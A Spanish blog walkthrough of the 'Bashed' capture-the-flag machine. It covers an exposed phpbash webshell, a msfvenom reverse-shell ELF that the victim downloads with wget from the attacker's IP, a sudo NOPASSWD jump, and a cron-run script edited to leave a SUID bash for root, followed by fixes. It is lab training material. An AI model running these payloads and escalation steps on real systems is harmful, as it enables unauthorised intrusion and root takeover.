Entrada

Bashed

Linux Easy sin un solo exploit: una webshell phpbash olvidada en la raíz web da acceso como www-data, un sudo mal configurado permite saltar a scriptmanager y una tarea cron de root acaba dejando una bash con SUID.

Bashed

Publicado por Jaime Hereza Niño

Publicado 13/10/2026
8 min de lectura
Mi puntuación
55236 votos
MáquinaSODificultadIP
BashedLinuxEasy10.129.83.171

A tener en cuenta...

┌──(jaime㉿kali)-[~]└─$ sudo nano /etc/hosts
10.129.83.171 bashed

Resumen

Bashed tiene un punto cómico: el autor de la máquina desarrolló una webshell, escribió una entrada en su propio blog contándolo, y se dejó esa misma webshell colgada en el servidor. No hay exploit, no hay fuerza bruta, no hay nada que crackear — hay que leer la web y hacer clic.

A partir de ahí el camino es de libro de texto y, precisamente por eso, didáctico: una webshell como www-data, un sudo mal configurado que permite saltar a otro usuario sin contraseña, y una tarea cron que corre como root sobre un directorio donde ese usuario puede escribir.

Tres errores de configuración encadenados, ninguna vulnerabilidad de software. Es el retrato de cómo se compromete de verdad un servidor.

Vulnerabilidad

Nada de CVE: aquí todo son fallos de configuración y de despliegue, que es como suele pasar en la vida real.

01 · Webshell expuesta en la raíz web

El directorio /dev sirve un phpbash.php accesible sin autenticación. Es una herramienta legítima — una terminal semiinteractiva en PHP — pero dejada en producción equivale a regalar ejecución de comandos a cualquiera que dé con la URL. Y la propia web explica dónde está.

02 · Regla de sudo demasiado abierta

El usuario del servidor web puede ejecutar cualquier comando como scriptmanager sin contraseña:

(scriptmanager : scriptmanager) NOPASSWD: ALL

Un ALL en sudoers es un cheque en blanco: basta pedir una shell. Lo correcto habría sido limitar la regla a los binarios concretos que se necesitan.

03 · Tarea cron de root sobre un directorio ajeno

root ejecuta periódicamente un script de /scripts, pero ese directorio pertenece a scriptmanager. Quien controle ese usuario decide qué código corre como root. Es el patrón clásico de escalada por cron: el privilegio de quien ejecuta no se corresponde con el de quien puede escribir.

Reconocimiento

Barrido completo de puertos contra la víctima, añadiendo detección de sistema operativo

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p- -n -Pn -sS --max-retries 1 -O -osscan-guess bashed
PuertoServicio
80http

Un solo puerto abierto y los otros 65.534 cerrados — cerrados, no filtrados, así que no hay cortafuegos de por medio. El resto del escaneo sitúa un Linux 3.x/4.x. Todo pasa por el 80.

Escaneo completo de puertos
Figura 1: Escaneo completo de puertos

Enumeración

Con un único puerto, toca exprimirlo. Afino versión y lanzo los scripts de vulnerabilidades web

┌──(jaime㉿kali)-[~]└─$ sudo nmap -p 80 -sCV --version-intensity 9 --script "http-vuln-*" -n bashed
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu)
Enumeración de versiones del servicio
Figura 2: Enumeración de versiones del servicio

Un Apache corriente sobre Ubuntu. Nada llamativo, así que el fallo no va a estar en el servidor sino en lo que sirve. Reviso la pila con whatweb y con Wappalyzer

┌──(jaime㉿kali)-[~]└─$ whatweb http://bashed
http://bashed [200 OK] Apache[2.4.18], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], HTML5, JQuery, Meta-Author[Colorlib], Title[Arrexel's Development Site]
Tecnologías detectadas en el servidor
Figura 3: Tecnologías detectadas en el servidor
Librerías del lado del cliente
Figura 4: Librerías del lado del cliente

Sin CMS ni framework: HTML plano con jQuery sobre una plantilla de Colorlib. Pero el título delata al propietario — Arrexel's Development Site. Un sitio de desarrollo suele dejarse cosas por el camino, así que fuzzeo rutas

┌──(jaime㉿kali)-[~]└─$ dirsearch -u "http://bashed"
301 - /dev -> http://bashed/dev/ 200 - /dev/ 301 - /php -> http://bashed/php/ 200 - /php/ 301 - /uploads -> http://bashed/uploads/ 200 - /uploads/ 200 - /config.php (0 B) 403 - /server-status
Rutas descubiertas en el servidor
Figura 5: Rutas descubiertas en el servidor

Tres directorios listables — /dev, /php y /uploads — y un config.php vacío. El /dev es el que más promete por el nombre.

Pero antes de tocarlo, leo la web. Y ahí está el regalo: una entrada del blog donde el autor presenta phpbash, una webshell en PHP de su propia autoría, con capturas incluidas

La propia web presenta phpbash
Figura 6: La propia web presenta phpbash
Capturas de la herramienta en la entrada
Figura 7: Capturas de la herramienta en la entrada

Las capturas no son decorativas: enseñan la herramienta corriendo desde /uploads/phpbash.php, el contenido de /etc/passwd y el recorrido por el sistema de ficheros. El autor desarrolló phpbash en esta máquina y documentó dónde la tenía desplegada. La enumeración ya está medio hecha por él.

Explotación

Con esa pista, la explotación es buscar el fichero. En /uploads ya no está, pero en /dev sí

http://bashed/dev/phpbash.php

phpbash es una terminal semiinteractiva escrita en PHP: una página que recibe el comando por el navegador, lo ejecuta en el servidor y devuelve la salida con aspecto de consola. Pensada para depurar en desarrollo, es ejecución remota de comandos servida en bandeja si queda publicada.

┌──(jaime㉿kali)-[~]└─$ whoami
www-data
Webshell ejecutándose como www-data
Figura 8: Webshell ejecutándose como www-data

Sin exploit, sin credenciales y sin una sola petición rara: una URL. Ya soy www-data en /var/www/html/dev.

La primera flag no requiere nada más que caminar hasta el directorio del usuario

┌──(jaime㉿kali)-[~]└─$ cd /home/arrexel
┌──(jaime㉿kali)-[~]└─$ cat user.txt
Lectura de la flag de usuario
Figura 9: Lectura de la flag de usuario

Movimiento lateral

Antes de pensar en root, miro qué puede hacer esta cuenta con sudo

┌──(jaime㉿kali)-[~]└─$ sudo -l
User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
Permisos de sudo del usuario web
Figura 10: Permisos de sudo del usuario web

Ahí está el salto: www-data puede ejecutar cualquier cosa como scriptmanager sin que le pidan contraseña. Pedir una shell es inmediato

┌──(jaime㉿kali)-[~]└─$ sudo -u scriptmanager /bin/bash

El problema es que una webshell no sirve para esto. phpbash ejecuta cada comando en un proceso independiente, así que no mantiene sesión: no hay shell interactiva que conservar. Necesito una reverse shell de verdad antes de dar el salto.

Genero el binario con msfvenom

┌──(jaime㉿kali)-[~]└─$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.15.95 LPORT=443 -f elf -o shell443.elf
Generación de la reverse shell
Figura 11: Generación de la reverse shell

Lo sirvo desde mi máquina

┌──(jaime㉿kali)-[~]└─$ python3 -m http.server 80
Binario servido desde la máquina atacante
Figura 12: Binario servido desde la máquina atacante

Y desde la webshell lo descargo a /tmp, que es escribible por cualquiera

┌──(jaime㉿kali)-[~]└─$ cd /tmp
┌──(jaime㉿kali)-[~]└─$ wget http://10.10.15.95/shell443.elf
Descarga del binario en la víctima
Figura 13: Descarga del binario en la víctima

Con el listener esperando, le doy permisos y lo ejecuto

┌──(jaime㉿kali)-[~]└─$ nc -lvnp 443
┌──(jaime㉿kali)-[~]└─$ chmod +700 shell443.elf
┌──(jaime㉿kali)-[~]└─$ ./shell443.elf
Listener a la espera de la conexión
Figura 14: Listener a la espera de la conexión
Ejecución del binario desde la webshell
Figura 15: Ejecución del binario desde la webshell
Conexión recibida como www-data
Figura 16: Conexión recibida como www-data

Estabilizar la shell

La shell que llega es rudimentaria: sin control de trabajos, sin historial y sin Ctrl+C — y cualquier descuido la tumba. Antes de seguir, la convierto en una TTY decente

┌──(jaime㉿kali)-[~]└─$ /bin/bash -i
┌──(jaime㉿kali)-[~]└─$ python2.7 -c 'import pty; pty.spawn("/bin/bash")'

Con pty.spawn ya hay una pseudoterminal, pero sigue sin estar conectada a la mía. La suspendo con Ctrl+Z, ajusto mi terminal y la recupero

┌──(jaime㉿kali)-[~]└─$ stty raw -echo; fg
┌──(jaime㉿kali)-[~]└─$ reset xterm
Shell convertida en pseudoterminal
Figura 17: Shell convertida en pseudoterminal

Lo que queda es declarar el tipo de terminal, para que funcionen los colores, el borrado y editores como nano

┌──(jaime㉿kali)-[~]└─$ export TERM=xterm
┌──(jaime㉿kali)-[~]└─$ export SHELL=bash
Variables de entorno de la terminal
Figura 18: Variables de entorno de la terminal

La prueba de que ha funcionado: lanzo una espera y la corto. Si Ctrl+C mata el sleep en vez de la sesión, la shell está estabilizada

┌──(jaime㉿kali)-[~]└─$ sleep 20
La shell sobrevive a Ctrl+C
Figura 19: La shell sobrevive a Ctrl+C

Ahora sí, el salto de usuario

┌──(jaime㉿kali)-[~]└─$ sudo -u scriptmanager /bin/bash

Ya soy scriptmanager.

Escalada de privilegios

Lo primero con el usuario nuevo es ver qué le pertenece, que para eso me he movido hasta él

┌──(jaime㉿kali)-[~]└─$ find / -user scriptmanager 2>/dev/null

Aparece /scripts, un directorio que www-data no podía tocar. Dentro, dos ficheros que cuentan la historia completa

┌──(jaime㉿kali)-[~]└─$ ls -lt /scripts
-rw-r--r-- 1 root root 12 Oct 13 13:09 test.txt -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
Contenido del directorioscripts
Figura 20: Contenido del directorio /scripts

Hay que fijarse en las fechas y en los propietarios, porque ahí está todo:

  • test.py es de scriptmanager y lleva sin tocarse desde 2017. Lo puedo editar.
  • test.txt es de root y se escribió hace un minuto. Es la salida del script.

La conclusión es inmediata: alguien ejecuta test.py como root cada poco tiempo. Una tarea cron mal planteada — el que escribe el fichero y el que lo ejecuta no son el mismo, y el que ejecuta tiene más privilegios.

El contenido original es inofensivo, un script de prueba

f = open("test.txt", "w") f.write("testing 123!") f.close

Lo sustituyo por algo que me interese. En vez de lanzar una reverse shell, que depende de que yo esté escuchando en el momento justo, prefiero algo que deje el acceso esperándome: una copia de bash con el bit SUID puesto

import os os.system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")
Script modificado para dejar una bash con SUID
Figura 21: Script modificado para dejar una bash con SUID

El bit SUID hace que un binario se ejecute con los privilegios de su propietario en lugar de los de quien lo lanza. Como el cron corre como root, la copia pertenecerá a root y arrancará como root para cualquiera.

Y ahora, esperar. Cuando la tarea salta, el binario aparece

┌──(jaime㉿kali)-[~]└─$ ls /tmp
La bash con SUID ya está entmp
Figura 22: La bash con SUID ya está en /tmp

Solo queda ejecutarlo con -p. Sin esa opción, bash renuncia por seguridad a los privilegios elevados y el SUID no sirve de nada

┌──(jaime㉿kali)-[~]└─$ ./rootbash -p
┌──(jaime㉿kali)-[~]└─$ whoami
root
Shell como root
Figura 23: Shell como root

Y con eso, la última bandera

┌──(jaime㉿kali)-[~]└─$ cat /root/root.txt
Lectura de la flag de root
Figura 24: Lectura de la flag de root

Flags

Las dos banderas, en el sitio de siempre. La de usuario, en el directorio de arrexel

┌──(jaime㉿kali)-[~]└─$ cat /home/arrexel/user.txt

Y la de root, ya con la bash SUID

┌──(jaime㉿kali)-[~]└─$ cat /root/root.txt

Cómo se arregla

Ninguno de los tres fallos necesita un parche: los tres se arreglan configurando bien.

  • Fuera la webshell: phpbash.php no debería existir en un servidor publicado. Las herramientas de depuración se quedan en desarrollo, y la raíz web se revisa antes de exponer nada.
  • Concretar la regla de sudo: cambiar el NOPASSWD: ALL por la lista exacta de binarios que el servicio necesita. Un ALL convierte cualquier cuenta comprometida en un salto directo a otra.
  • Cuadrar la tarea cron: si un script lo ejecuta root, solo root debería poder escribirlo. Permisos 644 con propietario root sobre el fichero y sobre el directorio que lo contiene.
  • No publicar detalles del despliegue: la entrada del blog contaba dónde estaba instalada la herramienta. Lo que se publica sobre la propia infraestructura también es superficie de ataque.
  • Filtrar el tráfico saliente: la reverse shell y la descarga del binario salen de la máquina hacia el atacante. Restringir las conexiones de salida rompe las dos.

Conclusiones

Una máquina muy sencilla y deducible. No hay que crackear nada, ni compilar un exploit, ni pelearse con una versión concreta: hay que leer la web, encontrar la webshell y tirar del hilo. La dificultad es muy baja y en eso la etiqueta de Easy se queda hasta corta.

Donde sí da algo de juego es al final. La escalada obliga a estabilizar la shell para poder usar sudo en condiciones, y luego a leer bien un ls -l: entender que el propietario del fichero y el que lo ejecuta no coinciden es lo que resuelve la máquina. Ese detalle, el de mirar fechas y permisos en vez de buscar un exploit, es lo que merece la pena llevarse.

Para empezar en Linux está muy bien. Para buscar reto, se queda corta.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.